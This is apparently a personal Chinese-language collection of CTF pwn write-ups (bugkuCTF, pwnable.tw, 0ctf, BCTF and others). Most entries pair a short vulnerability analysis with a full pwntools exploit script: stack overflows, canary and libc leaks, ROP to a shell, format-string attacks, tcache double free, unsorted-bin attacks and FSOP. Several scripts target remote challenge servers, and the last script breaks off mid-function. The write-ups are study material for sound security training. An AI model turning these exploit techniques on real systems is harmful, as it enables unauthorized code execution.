六月Pwn刷题
bugkuCTF Pwn
Pwn1
nc上去直接cat flag
Pwn2
栈溢出,直接getshell函数
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
#p = process('./pwn2')
p = remote('114.116.54.89',10003)
ret_addr = 0x400751
payload = 'a'*(0x30+8)+p64(ret_addr)
p.sendline(payload)
p.interactive()
pwn3–read_note
这个题目也是栈溢出
栈溢出漏洞,但是开了canary
和pie
,所以我们先要利用puts
函数泄漏canary
,elf_base
,和libc_base
,然后ret到system('/bin/sh\x00')
在泄露canary的时候我们可以利用如果输入字节数不是0x270可以重新输入一次来绕过返回时检查canary。成功泄露canary之后我们就可以泄露返回地址,然后一样通过第二次写入覆盖返回地址,第三次重写泄露libc,最后返回到system来getshell。
详细脚本如下:
from pwn import *
context.log_level = 'debug'
p = process('./read_note')
#p = remote('114.116.54.89',10000)
#leak canary
p.recvuntil('path:\n')
p.sendline('flag')
p.recvuntil(' len:\n')
p.sendline(str(0x300))
p.recvuntil('note:\n')
p.send('a'*0x259)
p.recvuntil('a'*0x259)
canary = u64(p.recv(7).rjust(8,'\x00'))
ebp = u64(p.recv(6).ljust(8,'\x00'))
log.success('canary : 0x%x'%canary)
log.success('ebp : 0x%x'%ebp)
p.recvuntil('s 624)\n')
p.send('a'*0x258 + p64(canary) + p64(ebp) + '\x20' )
#leak elf_base
p.recvuntil('path:\n')
p.sendline('flag')
p.recvuntil(' len:\n')
p.sendline(str(0x300))
p.recvuntil('note:\n')
p.send('a'*0x268)
p.recvuntil('a'*0x268)
elf_base = u64(p.recv(6).ljust(8,'\x00')) - 0xd2e
log.success('elf_base : 0x%x'%elf_base)
p.recvuntil('s 624)\n')
p.send('a'*0x258 + p64(canary) + p64(ebp) + '\x20' )
# #leak libc
p.recvuntil('path:\n')
p.sendline('flag')
p.recvuntil(' len:\n')
p.sendline(str(0x300))
p.recvuntil('note:\n')
p.send('a'*0x288)
p.recvuntil('a'*0x288)
libc_base = u64(p.recv(6).ljust(8,'\x00')) - 0x20830
log.success('libc_base : 0x%x'%libc_base)
offset_system = 0x0000000000045390
offset_str_bin_sh = 0x18cd57
system_addr = libc_base + offset_system
binsh_addr = libc_base + offset_str_bin_sh
pop_ret = elf_base + 0xe03
p.recvuntil('s 624)\n')
payload = 'a'*0x258 + p64(canary) + p64(ebp) + p64(elf_base+0xd20)
p.send(payload)
# #ret2system
p.recvuntil('path:\n')
p.sendline('flag')
p.recvuntil(' len:\n')
p.sendline(str(0x300))
p.recvuntil('note:\n')
p.send('a'*0x258 + p64(canary) + p64(ebp) + p64(pop_ret) + p64(binsh_addr) + p64(system_addr) )
#gdb.attach(p)
p.recvuntil('s 624)\n')
payload = 'a'
p.send(payload)
p.interactive()
pwn4
栈溢出非常少,这道题学到了栈溢出getshell还可以system('$0')
可以getshell
关于getshell的一些参考:
- https://note.t4x.org/system/shell-special-variables/
- https://blog.csdn.net/cws1214/article/details/21959529
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
char s; // [rsp+0h] [rbp-10h]
memset(&s, 0, 0x10uLL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
puts("Come on,try to pwn me");
read(0, &s, 0x30uLL);
puts("So~sad,you are fail");
return 0LL;
}
直接找$0
详细脚本如下:
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
elf=ELF('./pwn4')
code_addr = 0x60111f
p = remote("114.116.54.89",10004)
system_plt = elf.symbols['system']
pop_rdi_ret = 0x00000000004007d3
payload = 'a'*0x18+p64(pop_rdi_ret)+p64(code_addr)+p64(system_plt)
p.sendline(payload)
p.interactive()
pwn5
这道题也是一个栈溢出,但是需要满足一些子串的条件才能让他正常返回,不然就直接exit出去了,满足的子串条件自己调进去看是什么就拼上去就好了,注意小端序就行。思路就是格式化字符串泄露libc,然后直接覆盖返回地址为one_gadget,再满足正常返回的条件,然后就ok了
下面是详细脚本:
from pwn import *
context.log_level = 'debug'
p = process('./human')
elf = ELF('./human')
p = remote("114.116.54.89",10005)
payload = ".%11$p."
pause()
p.sendline(payload)
p.recvuntil(".")
leak = int(p.recvuntil(".",drop = True),16)
libc_base = leak - 0x20830
log.success('leak : 0x%x'%leak)
log.success('libc_base : 0x%x'%libc_base)
one_gadget = libc_base + 0x45216
payload = "\xe9\xb8\xbd\xe5\xad\x90" + "\xe7\x9c\x9f\xe9\xa6\x99"
payload = payload.ljust(0x20,"A")
payload += p64(0) + p64(one_gadget)
p.sendline(payload)
p.interactive()
DigAips W8
挂起题目:socat tcp-l:端口号,fork exec:程序位置 这里DigAips的题目都是网上收集的题目
overfloat
overfloat我们可以猜测它与浮点数有关。如果我们仔细观察,我们可以看到0x3f800000代表浮动1.0
In [5]: binascii.hexlify(struct.pack('f', 1.0))
Out[5]: '0000803f'
我们可以将4字节数组转换为浮点数,然后溢出数组
def byte_to_float(data):
if len(data) != 4:
log.error("Length of data should be 4")
sys.exit(0)
return str(struct.unpack('f', bytes(data))[0])
并溢出数组
for i in range(0xe):
tosend = byte_to_float("A"*4)
p.sendline(tosend)
# trigger return to main
# BOF at end of main -> ret
p.sendline("done")
p.interactive()
然后我们可以定义一个写入八字节的函数 最后利用方式就是利用gadget把puts的真实地址泄露出来,然后直接得到libc的基地址,最后直接返回到one_gadget就行了
详细脚本如下:
from pwn import *
import struct
import sys
import binascii
context(os='linux',arch='amd64',aslr = 'False')#,log_level='debug')
local = 0
#log_level='debug'
if local:
p = process("./overfloat")#,env={'LD_PRELOAD':'./libc_x64.so.6'})
elf = ELF("./overfloat")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
#p = remote('192.168.210.11',11006)
p = remote('47.92.28.22',30521)
elf = ELF("./overfloat")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def byte_to_float(data):
if len(data) != 4:
log.error("Length of data should be 4")
sys.exit(0)
return str(struct.unpack('f', bytes(data))[0])
def write_8_bytes(data):
tosend = byte_to_float(data[:4])
p.sendline(tosend)
tosend = byte_to_float(data[4:])
p.sendline(tosend)
p.recvuntil("LIKE TO GO?")
p.recvline()
for i in range(0xe):
tosend = byte_to_float(chr(i)*4)
p.sendline(tosend)
pop_rdi = 0x0000000000400a83 #: pop rdi; ret;
# ret
write_8_bytes(p64(pop_rdi))
# GOT
write_8_bytes(p64(elf.got["puts"]))
# call puts
write_8_bytes(p64(elf.symbols["puts"]))
# jump to beginning
start = 0x400993
write_8_bytes(p64(start))
p.sendline("done")
p.recvuntil("VOYAGE!")
p.recvline() # empty line
res = p.recvline()[:-1]
print("puts @ " + hex(u64(res.ljust(8, "\x00"))))
puts_address = u64(res.ljust(8, "\x00"))
libc_base = puts_address - libc.symbols["puts"]
print("libc @ " + hex(libc_base))
pause()
if debug:
one_gagdet = libc_base + 0x4f2c5
else:
one_gagdet = libc_base + 0x4f2c5
# exploit a second time
p.recvuntil("LIKE TO GO?")
p.recvline()
for i in range(0xe):
tosend = byte_to_float(chr(i)*4)
p.sendline(tosend)
# one gadget
write_8_bytes(p64(one_gagdet))
p.sendline("done")
# trigger return to main
# BOF at end of main -> ret
p.interactive()
r4nk
这道题是一个关于电影排名的程序, 通过rank可以修改栈上的内容,这样我们可以改一个打印函数的偏移值,进而进行泄露。
__int64 __fastcall Rank(__int64 a1)
{
__int64 v1; // rbx
__int64 result; // rax
write(1, "\nt1tl3> ", 9uLL);
v1 = (signed int)my_read();
write(1, "r4nk> ", 7uLL);
result = (signed int)my_read();
修改stack content-> *(_QWORD *)(a1 + 8 * v1) = (signed int)result;// a1 + 8*17
return result;
}
所以我们可以利用这个特点来写入特殊的东西泄露libc地址,然后再show的时候,就会去读取特定地址的内容,从而泄露libc,也就是说我们就有了任意地址读的操作
addr_list = 0x602080 # movie list
addr_buf = 0x602100 # buf
rank(0, (addr_buf - addr_list) // 8 + 1) # rank(0, 0x11)
泄露完libc之后,我们可以先修改栈上返回地址__libc_start_main+231
为0x0000000000400980(pop rsp; pop r13;ret;)
找一些有趣的gadget ,比如pop rsp,在返回之后的add rsp 8; 控制了rsp为0x602100,同时写入0x602100+8地方为one_gadget
,则成功返回到one_gadget进行getshell
这是一个有趣的栈迁移,通过改写栈上main函数的返回地址来进行栈迁移。
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import sys
import time
import random
local = 1
if local:
p = process("./r4nk")#,env={'LD_PRELOAD':'./libc_x64.so.6'})
elf = ELF("./r4nk")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
#p = remote('192.168.210.11',11006)
p = remote('47.92.28.22',30522)
elf = ELF("./r4nk")
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def rank(t,rr):
p.recvuntil("> ")
p.sendline("2")
p.recvuntil("> ")
p.sendline(str(t))
p.recvuntil("> ")
p.sendline(str(rr))
def show(start,end):
pass
p.recvuntil(start)
data = p.recvuntil(end)[:-len(end)]
return data
if __name__ == '__main__':
rank(0,0x11)
p.recvuntil("> ")
p.sendline("1"+"\x00"*7 + p64(0x000602030))
p.recvuntil("0. ")
libc = u64(p.recv(6).ljust(8,"\x00")) - 0x110070
print("libc = {}".format(hex(libc)))
magic = libc + 0x4f322
pop_rsp_1 = 0x0000000000400980
pause()
rank(19,pop_rsp_1) # pop rsp; pop r13;ret;
rank(20,0x602100) # nptr addr (myread output addr) 0x602108 -> one_gadget
p.recvuntil("> ")
p.sendline("3" + "\x00"*7 + p64(magic))
p.interactive()
方法二,泄露libc后,使用使用ret2csu来调用write函数进行getshell 参考链接:https://ptr-yudai.hatenablog.com/entry/2019/06/03/113943#pwnable-494pts-rank
tcache_tear
这是一道tcache
的题目,然后漏洞点在于free
之后没有清零导致的double free
但是限制了free
次数为7次,但是我们可以在name
输入的时候设置fake_chunk
去free
得到libc
,然后show
出来就可以泄露libc地址,最后在利用double free
来覆盖 free_hook
就完事了。
其中需要注意的是,要free掉fake块的时候需要提前在对应块的下一块的位置set好改pre的inuse位为1,否则会报double free or corruption (!prev)
具体脚本如下:
from pwn import *
def add(size,note):
p.sendlineafter(":","1")
p.sendlineafter(":",str(size))
p.sendafter(":",note)
def delete():
p.sendlineafter(":","2")
#context.log_level="debug"
p=process("./tcache_tear")#,env = {'LD_PRELOAD' : './libc.so'})
#p=remote("chall.pwnable.tw",10207)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
p.sendlineafter("Name:","name_ZoE")
# 602060
#leak libc
# passby double free or corruption (!prev)
add(0x70,"ZoE\n")
delete()
delete()
add(0x70,p64(0x602550)) # fd = 0x602550
add(0x70,"ZoE\n")
add(0x70,p64(0)+p64(0x21)+p64(0)*2+p64(0)+p64(0x21)) # 0x602550's content
# passby double free or corruption (!prev) 0x21 -> set pre inuse flag = 1
pause()
add(0x60,"ZoE\n")
delete() # double free again
delete()
add(0x60,p64(0x602050)) # fd = 0x602550 double free to name's addr
add(0x60,"ZoE\n")
add(0x60,p64(0)+p64(0x501)+p64(0)*5+p64(0x602060)) # big fake heap chunk *(0x602088(ptr)) = 0x602060 -> free ptr
delete()
p.sendlineafter(":","3")
p.recvuntil("Name :")
libc_addr=u64(p.recv(8))-0x3ebca0
log.info(hex(libc_addr))
#write free_hook
free_hook=libc_addr+libc.symbols['__free_hook']
system_addr=libc_addr+libc.symbols['system']
add(0x40,"ZoE\n")
delete()
delete()
add(0x40,p64(free_hook))
add(0x40,"ZoE\n")
add(0x40,p64(system_addr))
#get_shell
add(0x18,"/bin/sh\x00")
delete()
p.interactive()
guess
网鼎杯的一道guess,猜flag的一道题,只能fork三次。开启了Cannary,采用stack smash来进行信息泄露绕过cannary。同理我们也可以用一样的方法泄露三次,可以按照如下顺序泄露:首先通过got表来泄露libc的基址,接着利用libc中的environ变量来泄露栈的地址,最后通过固定的偏移来泄露栈上存放的flag。
# set follow-fork-mod child
from pwn import *
context(arch='amd64', os='linux', endian='little')
#context.log_level='debug'
p = process('./guess')
elf = ELF('./guess')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
print p.recvuntil('This is GUESS FLAG CHALLENGE!')
print p.recvuntil('Please type your guessing flag')
# here is offset to argv[0]
offset = 0x40+0x8*3+(0x7fff42181a88-0x7fff421819b8)
# leak libc base
payload = 'a'*offset+p64(0x602048)
p.sendline(payload)
print p.recvuntil('*** stack smashing detected ***: ')
# 0x7fb8571c1740
libc_start_main = u64(p.recvuntil(' ')[:-1].ljust(8,'\x00'))
libc_base = libc_start_main-libc.symbols['__libc_start_main']
# using environ to leak stack base addr
print "libc_base = " + str(hex(libc_base))
stack_addr_ptr = libc_base+libc.symbols['environ']
print "stack_addr_ptr = " + str(hex(stack_addr_ptr))
print p.recvuntil('Please type your guessing flag')
payload = 'a'*offset+p64(stack_addr_ptr)
pause()
p.sendline(payload)
print p.recvuntil('*** stack smashing detected ***: ')
# 0x7fffe109fde8
stack_addr = u64(p.recvuntil(' ')[:-1].ljust(8,'\x00'))
print "stack_addr = " + str(hex(stack_addr))
# calc flag addr by stack_base-flag_offset
flag_offset = 0x7fffe109fde8-0x7fffe109fc80
flag_addr = stack_addr - flag_offset
print p.recvuntil('Please type your guessing flag')
payload = 'a'*offset+p64(flag_addr)
p.sendline(payload)
print p.recv()
p.interactive()
easy
SWPUCTF原题 这个里面有一个格式化字符串,一个栈溢出,先用格式化泄漏出 libc 基地址和 heap 地址。通过 heap 获得目标地址。 然后是 motto 处,先是输入长度时如果长度为负那么会对长度进行求补,-9223372036854775808(-0x8000000000000000)补数是本身,这样就可以实现输入一串很长的字符串造成栈溢出了。
__int64
long int 8byte(qword) 正: 0~0x7fffffffffffffff
负: 0x8000000000000000~0xffffffffffffffff
而-9223372036854775808(-0x8000000000000000)补数是本身
这样子就能绕过第二个if
如果是其他负数,比如:
-9223372036854 ->0xfffff79c842fa50a
取补码后为:0x000008637bd05af6
但是第二个if又会把他写死1024大小
后面有异常检查,简单分析一下,关于C++的异常处理
# 会在__cxa_throw@plt退出
# 崩掉的地方调试信息如下:
=> 0x400e71: call 0x400a30 <__cxa_throw@plt>
0x400e76: mov rax,QWORD PTR [rbp-0x418]
0x400e7d: mov rcx,QWORD PTR [rbp-0x8]
0x400e81: xor rcx,QWORD PTR fs:0x28
0x400e8a: je 0x400e91
Guessed arguments:
arg[0]: 0x2142ce0 --> 0x40100e ("The format of motto is error!")
arg[1]: 0x6020e0 --> 0x7f898698c4f8 (:__pointer_type_info+16>: 0x00007f89866a6160)
arg[2]: 0x0
==================================
跟进去
=> 0x7f1b96a4d907 <__cxa_throw+87>: call 0x7f1b96a47f60 <_Unwind_RaiseException@plt>
0x7f1b96a4d90c <__cxa_throw+92>: mov rdi,rbx
0x7f1b96a4d90f <__cxa_throw+95>: call 0x7f1b96a46dc0 <__cxa_begin_catch@plt>
0x7f1b96a4d914 <__cxa_throw+100>: call 0x7f1b96a49ac0 <std::terminate()@plt>
0x7f1b96a4d919: nop DWORD PTR [rax+0x0]
Guessed arguments:
arg[0]: 0xdf7cc0 --> 0x474e5543432b2b00 ('')
上面的异常主要是c++的异常处理,详细解读可以看:https://www.cnblogs.com/catch/p/3604516.html 最后这里还要绕过 Canary,我们这里用c++异常处理来绕过,直接触发异常,unwind 时是不检测 Canary 的,这样就绕过了Canary 了。 unwind的是这一段,如图
payload = "aaaaaaaa"
payload += p64(one_gadget)
payload = payload.ljust(0x410, '\x00')
p.sendline(payload + p64(pivote_addr) + p64(unwind_addr))
getshell
的payload
如上,但是注意的是strdup
会把这里的这些内容放到heap
上,而heap
上就有了one_gadget
,而pivote_addr
为heap
上的地址
from pwn import *
p = process("./easy")
#p = remote("118.25.216.151", 10001)
elf = ELF("./easy", checksec=False)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False)
puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
read_plt = elf.plt["read"]
read_addr = 0x400BF5
rdi_ret = 0x400fa3
rsi_r15_ret = 0x400fa1
# context.log_level = "debug"
# -------- leak info --------
p.recvuntil("please input name:\n")
p.send("%p/%p/%p/%p/%p/%p/!%p/\n")
p.recvuntil("/")
libc_base = int(p.recvuntil("/")[:-1], 16) - 0x3C6780
p.recvuntil("/!")
heap_base = int(p.recvuntil("/")[:-1], 16)
info("libc base: " + hex(libc_base))
info("heap base: " + hex(heap_base))
# -------- exploit --------
one_gadget = libc_base + 0x45216
info("one_gadget: " + hex(one_gadget))
pivote_addr = heap_base + 0x20
info("pivote addr: " + hex(pivote_addr))
unwind_addr = 0x400EC5
pause()
p.recvuntil("please input size of motto:\n")
p.sendline("-9223372036854775808")
p.recvuntil("please input motto:\n")
payload = "aaaaaaaa"
payload += p64(one_gadget)
payload = payload.ljust(0x410, '\x00')
p.sendline(payload + p64(pivote_addr) + p64(unwind_addr))
p.interactive()
法二
其实不用unwind绕cannary这个神奇的操作,直接格式化字符串泄露就好了嘛,乖乖的。。哈哈哈哈 其他的栈溢出操作,同理,接下来就是常规操作了(泄露libc,返回到system或者one_gadet都ok) 正常ret2 system(“/bin/sh”)
详细脚本如下:
from pwn import *
context.log_level = "debug"
p = process("./easy")
# p = remote("118.25.216.151" , 10001)
elf = ELF("./easy", checksec=False)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6", checksec=False)
# leak canary
payload = "%15$p"
p.recvuntil("name:\n")
p.sendline(payload)
p.recvuntil("Hello ")
canary = int(p.recvuntil("please" , drop = True) , 16)
# 0x8000000000000000
int64_max = -9223372036854775808
p.recvuntil("motto:\n")
p.sendline(str(int64_max))
pop_rdi = 0x0000000000400fa3
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
payload = "a" * (0x410-8) + p64(canary) + "a" * 8
payload += p64(pop_rdi) + p64(puts_got) + p64(puts_plt)
payload += p64(0x400DA0)
p.recvuntil(" motto:\n")
p.sendline(payload)
# leak libc
puts_addr = u64(p.recvuntil("\n" , drop = True).ljust(8 , "\x00"))
print(hex(puts_addr))
libc_base = puts_addr - libc.sym["puts"]
system = libc_base + libc.sym["system"]
str_bin_sh = libc_base + libc.search("/bin/sh").next()
int64_max = -9223372036854775808
p.recvuntil("motto:\n")
p.sendline(str(int64_max))
pop_rdi = 0x0000000000400fa3
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
# getshell
payload = "a" * (0x410-8) + p64(canary) + "a" * 8
payload += p64(pop_rdi) + p64(str_bin_sh) + p64(system)
pause()
p.recvuntil(" motto:\n")
p.sendline(payload)
p.interactive()
0ctf2016 Zerostorage
用malloc只分配空间不初始化,也就是依然保留着这段内存里的数据, 而calloc则进行了初始化,calloc分配的空间全部初始化为0,这样就避免了可能的一些数据错误 realloc则对malloc申请的内存进行大小的调整. 三则区别:
区别:
(1)函数malloc不能初始化所分配的内存空间,而函数calloc能.如果由malloc()函数分配的内存空间原来没有被使用过,则其中的每一位可能都是0;反之, 如果这部分内存曾经被分配过,则其中可能遗留有各种各样的数据.也就是说,使用malloc()函数的程序开始时(内存空间还没有被重新分配)能正常进行,但经过一段时间(内存空间还已经被重新分配)可能会出现问题. (2)函数calloc() 会将所分配的内存空间中的每一位都初始化为零,也就是说,如果你是为字符类型或整数类型的元素分配内存,那么这些元素将保证会被初始化为0;如果你是为指针类型的元素分配内存,那么这些元素通常会被初始化为空指针;如果你为实型数据分配内存,则这些元素会被初始化为浮点型的零. (3)函数malloc向系统申请分配指定size个字节的内存空间.返回类型是 void类型.void表示未确定类型的指针.C,C++规定,void 类型可以强制转换为任何其它类型的指针. (4)realloc可以对给定的指针所指的空间进行扩大或者缩小,无论是扩张或是缩小,原有内存的中内容将保持不变.当然,对于缩小,则被缩小的那一部分的内容会丢失.realloc并不保证调整后的内存空间和原来的内存空间保持同一内存地址.相反,realloc返回的指针很可能指向一个新的地址. (5)realloc是从堆上分配内存的.当扩大一块内存空间时,realloc()试图直接从堆上现存的数据后面的那些字节中获得附加的字节,如果能够满足,自然天下太平;如果数据后面的字节不够,问题就出来了,那么就使用堆上第一个有足够大小的自由块,现存的数据然后就被拷贝至新的位置,而老块则放回到堆上.这句话传递的一个重要的信息就是数据可能被移动.
unsortedbin attack
目的,把某一个地址写为特点值(一个libc地址)
victim = unsorted_chunks(av)->bk=p
bck = victim->bk=p->bk = target addr-16
unsorted_chunks(av)->bk = bck=target addr-16
bck->fd = *(target addr -16+16) = unsorted_chunks(av);
分析
漏洞点主要带merge那里,首先他遍历list找到一个空的序号来放合并后chunk的信息,然后在合并fromid和toid后把chunk_struct放到一开始找到的那个序号里,然后realloc了toid,size为两个chunk大小相加,把fromid删除掉,并把fromid和toid的内容清除掉free掉。这里主要是没有判断合并的两个chunk的序号是否是一样的。也就是说合并两个一样id的时候,先realloc了那个指针,然后又把那个指针free掉了,但是又存进了list里面,导致形成UAF。
利用思路
参考:https://www.anquanke.com/post/id/178418 泄露地址:先分配一些chunk,删除掉一个(不能与topchunk相邻),先合并两个一样chunk,因为realloc大小没有超过原来堆块的大小,因此不对内容做任何处理,然后我们就可以的得到libc地址和heap地址了。 利用方法: Unsorted bin attack(FIFO) 先進先出 Fast bin unlink attack(LIFO) 后进先出 fastbin attack:
旧版思路
https://www.w0lfzhang.com/2017/03/17/2016-0CTF-zerostorage/ 这个主要是泄露libc后可以根据libc地址找到程序的基地址,是根据旧版linux内核来说的,现在已经不适用了,找到程序基地址后,泄露key,就可以fastbin attack控制完bss中的list直接改free_hook
现在版本思路
但是在现有的版本中,无法通过libc地址得到程序的基址,该如何进一步利用拿到shell?接下来就是标题中新解所包含的部分了:据之前写的文章堆中global_max_fast相关利用,我们可以将目标瞄准为将global_max_fast改写后,复写_IO_list_all指针用io file来进行攻击。
但是_IO_list_all指针地址到main_arena中fastbin数组的地址的距离转换成对应的堆的size达到了0x1410,题目中限制了堆申请的大小只能为0x80到0x1000,所以似乎无法控制0x1410大小的堆块。
在把程序再次审查以后,发现解决方法还是在merge函数中,merge函数把两个entry合并,但是并没有对合并后的堆块的大小进行检查,使得其可以超过0x1000,最终达到任意堆块大小申请的目的。
这样问题就简单了,merge出相应大小的堆块并将其内容填写成伪造的io file结构体,free该堆块至_IO_list_all指针中,最终触发FSOP来get shell。
FSOP
FSOP 是 File Stream Oriented Programming 的缩写,根据前面对 FILE 的介绍得知进程内所有的_IO_FILE 结构会使用_chain 域相互连接形成一个链表,这个链表的头部由_IO_list_all 维护。
FSOP 的核心思想就是劫持_IO_list_all 的值来伪造链表和其中的_IO_FILE 项,但是单纯的伪造只是构造了数据还需要某种方法进行触发。FSOP 选择的触发方法是调用_IO_flush_all_lockp,这个函数会刷新_IO_list_all 链表中所有项的文件流,相当于对每个 FILE 调用 fflush,也对应着会调用_IO_FILE_plus.vtable 中的_IO_overflow。
详细脚本
#!/usr/bin/env python
from pwn import *
#context.log_level = "debug"
elf = "./zerostorage"
#libc = ELF("./libc.so.6")
unsorted_bin_off = 0x3c4b78 # leak libc
global_max_fast_off = 0x3c67f8
cache_size_off = 0x3c41f0
io_stdin_off = 0x3c49b4
system_off = 0x45390
io_stdout_off = 0x3c5620
io_stdfil_1_lock_off = 0x3c6780
io_file_jumps_off= 0x3c36e0
nl_global_locale_off = 0x3c5420
nl_clctype_class_off = 0x1775e0
sysmem = 0x21000
stdout = 0xfbad2887
p = process(elf)
#p = remote("172.16.30.131", 5678)
def insert(s):
p.recvuntil("Your choice: ")
p.sendline("1")
p.recvuntil("Length of new entry: ")
p.sendline(str(len(s)))
p.recvuntil("Enter your data: ")
p.send(s)
def update(idx, s):
p.recvuntil("Your choice: ")
p.sendline("2")
p.recvuntil("Entry ID: ")
p.sendline(str(idx))
p.recvuntil("Length of entry: ")
p.sendline(str(len(s)))
p.recvuntil("Enter your data: ")
p.send(s)
def merge(idx1, idx2):
p.recvuntil("Your choice: ")
p.sendline("3")
p.recvuntil("Merge from Entry ID: ")
p.sendline(str(idx1))
p.recvuntil("Merge to Entry ID: ")
p.sendline(str(idx2))
def delete(idx):
p.recvuntil("Your choice: ")
p.sendline("4")
p.recvuntil("Entry ID: ")
p.sendline(str(idx))
def view(idx):
p.recvuntil("Your choice: ")
p.sendline("5")
p.recvuntil("Entry ID: ")
p.sendline(str(idx))
p.recvuntil("Entry No."+str(idx)+":\n")
'''
bb 0x10CC
bb 0x127D
bb 0x14EB
bb 0x15F6
'''
# leak libc
insert(p8(0)*0x8)#0
insert(p8(1)*0x8)#1
insert(p8(2)*0x8)#2
pause()
insert(p8(3)*0x8)#3
delete(2) # not the chunk of the topchunk's pre that is ok.
merge(0, 0)
view(2)
heap_base = u64(p.recv(8))-0x120
unsorted_bin_addr = u64(p.recv(8))
libc_base = unsorted_bin_addr-unsorted_bin_off
log.info("heap_base: "+hex(heap_base))
log.info("libc_base: "+hex(libc_base))
top_chunk_off = 0x11580
top_chunk_addr = heap_base+top_chunk_off
log.info("top_chunk: "+hex(top_chunk_addr))
io_stdout_addr = libc_base+io_stdout_off
io_lock_addr = libc_base+io_stdfil_1_lock_off
io_file_jump_addr = libc_base+io_file_jumps_off
nl_clctype_class_addr = libc_base+nl_clctype_class_off
system_addr = libc_base+system_off
# fastbin attack
insert(p8(0)*0x10)
insert(p8(0)*0x10)
insert(p8(0)*0x1000)
insert(p8(0)*0x10)
merge(6, 6)
insert(p8(0)*0x1000)
merge(5, 6)
insert(p8(0)*0x1000)
merge(5, 8)
insert(p8(0)*0xff0)
merge(5, 6)
insert(p8(0)*0x1000)
insert(p8(0)*0x10)
insert(p8(0)*0x1000)
insert(p8(0)*0x1000)
merge(9, 10)
insert(p8(0)*0x1000)
insert(p8(0)*0x10)
insert(p8(0)*0x1000)
insert(p8(0)*0xff0)
merge(12, 13)
insert(p8(0)*0x1000)
insert(p8(0)*0x10)
insert(p8(0)*0x1000)
insert(p8(0)*0x1000)
merge(15, 16)
insert(p8(0)*0x1000)
insert(p8(0)*0x10)
payload = p8(0)*0x1b0
payload += p64(sysmem)
payload += p8(0)*(0x2a0-0x8-len(payload))
payload += p64(nl_clctype_class_addr)
payload += p8(0)*(0x438-0x8-len(payload))
payload += p64(stdout)
payload += p8(0)*(0x4a8-0x8-len(payload))
payload += p32(0x1)
payload += p8(0)*(0x4c0-0x8-len(payload))
payload += p64(io_lock_addr)
payload += p8(0)*(0x510-0x8-len(payload))
payload += p64(io_file_jump_addr)
payload += p8(0)*(0x520-0x8-len(payload))
payload += p64(io_stdout_addr)
payload += p8(0)*(0x1000-len(payload))
insert(payload)
payload = p8(0)*(0x910-0x8)
payload += p64(system_addr)
payload += p8(0)*(0x980-0x8-len(payload))
payload += p64(top_chunk_addr)+p64(0)
payload += p64(unsorted_bin_addr)*2
payload += p8(0)*(0xff0-len(payload))
insert(payload)
merge(18, 19)
insert(p8(0)*0x1000)
insert("/bin/sh")
##-- unsorted_bin_attack
delete(4)
payload = p64(unsorted_bin_addr)
payload += p64(libc_base+global_max_fast_off-0x10)
update(2, payload)
insert(p8(0)*0x10)
##--
delete(8)
update(7, p64(libc_base+cache_size_off)+p64(0))
merge(11, 14)
merge(17, 20)
p.sendline("2")
p.sendline("19")
p.sendline("256")
p.interactive()
BCTF 2016 bcloud
下面代码中第二个strcpy把后面v2也复制进去了,所以可以泄露堆地址
unsigned int get_name()
{
char s; // [esp+1Ch] [ebp-5Ch]
char *v2; // [esp+5Ch] [ebp-1Ch]
unsigned int v3; // [esp+6Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
memset(&s, 0, 0x50u);
puts("Input your name:");
myraed((int)&s, 64, 10);
v2 = (char *)malloc(0x40u);
name_ptr = (int)v2;
strcpy(v2, &s); # leak v2
welcome((int)v2);
return __readgsdword(0x14u) ^ v3;
}
然后可以发现在写host和org的时候调用的strcpy也有问题,代码如下:
unsigned int get_info()
{
char s; // [esp+1Ch] [ebp-9Ch]
char *v2; // [esp+5Ch] [ebp-5Ch]
int v3; // [esp+60h] [ebp-58h]
char *v4; // [esp+A4h] [ebp-14h]
unsigned int v5; // [esp+ACh] [ebp-Ch]
v5 = __readgsdword(0x14u);
memset(&s, 0, 0x90u);
puts("Org:");
myraed((int)&s, 0x40, 10);
puts("Host:");
myraed((int)&v3, 0x40, 10);
v4 = (char *)malloc(0x40u);
v2 = (char *)malloc(0x40u);
org_ptr = (int)v2;
host_ptr = (int)v4;
strcpy(v4, (const char *)&v3);
strcpy(v2, &s); // leak v2
puts("OKay! Enjoy:)");
return __readgsdword(0x14u) ^ v5;
}
详细查看栈排布可以发现,当复制第二个s的时候,因为strcpy是复制到\x00
才停止复制,所以,他会一直把v2、v3的内容都往堆里复制,导致可以把topchunk给改了。然后就很容易控制到bss中的list,然后就容易做了。
另外自己定义的read函数里面有off by null漏洞(但是malloc的时候加了4)
int __cdecl sub_804868D(int a1, int a2, char a3)
{
char buf; // [esp+1Bh] [ebp-Dh]
int i; // [esp+1Ch] [ebp-Ch]
for ( i = 0; i < a2; ++i )
{
if ( read(0, &buf, 1u) <= 0 )
exit(-1);
if ( buf == a3 )
break;
*(_BYTE *)(a1 + i) = buf;
}
*(_BYTE *)(i + a1) = 0; // offbynullbyte
return i;
}
详细脚本如下:
#!/usr/bin/env python
from pwn import *
#context.log_level = "debug"
elf = "./bcloud"
note_array = 0x804b120 # chunk_list
note_len_array = 0x804b0a0 # size_list
puts_plt = 0x8048520
atoi_got = 0x804b03c
free_got = 0x804b014
atoi_off = 0x2d250
system_off = 0x3ada0
p = process(elf)
def new(size, content):
p.recvuntil("option--->>\n")
p.sendline("1")
p.recvline("Input the length of the note content:")
p.sendline(str(size))
p.recvline("Input the content:")
p.sendline(content)
def edit(idx, content):
p.recvuntil("option--->>\n")
p.sendline("3")
p.recvline("Input the id:")
p.sendline(str(idx))
p.recvline("Input the new content:")
p.send(content)
def delete(idx):
p.recvuntil("option--->>\n")
p.sendline("4")
p.recvuntil("Input the id:\n")
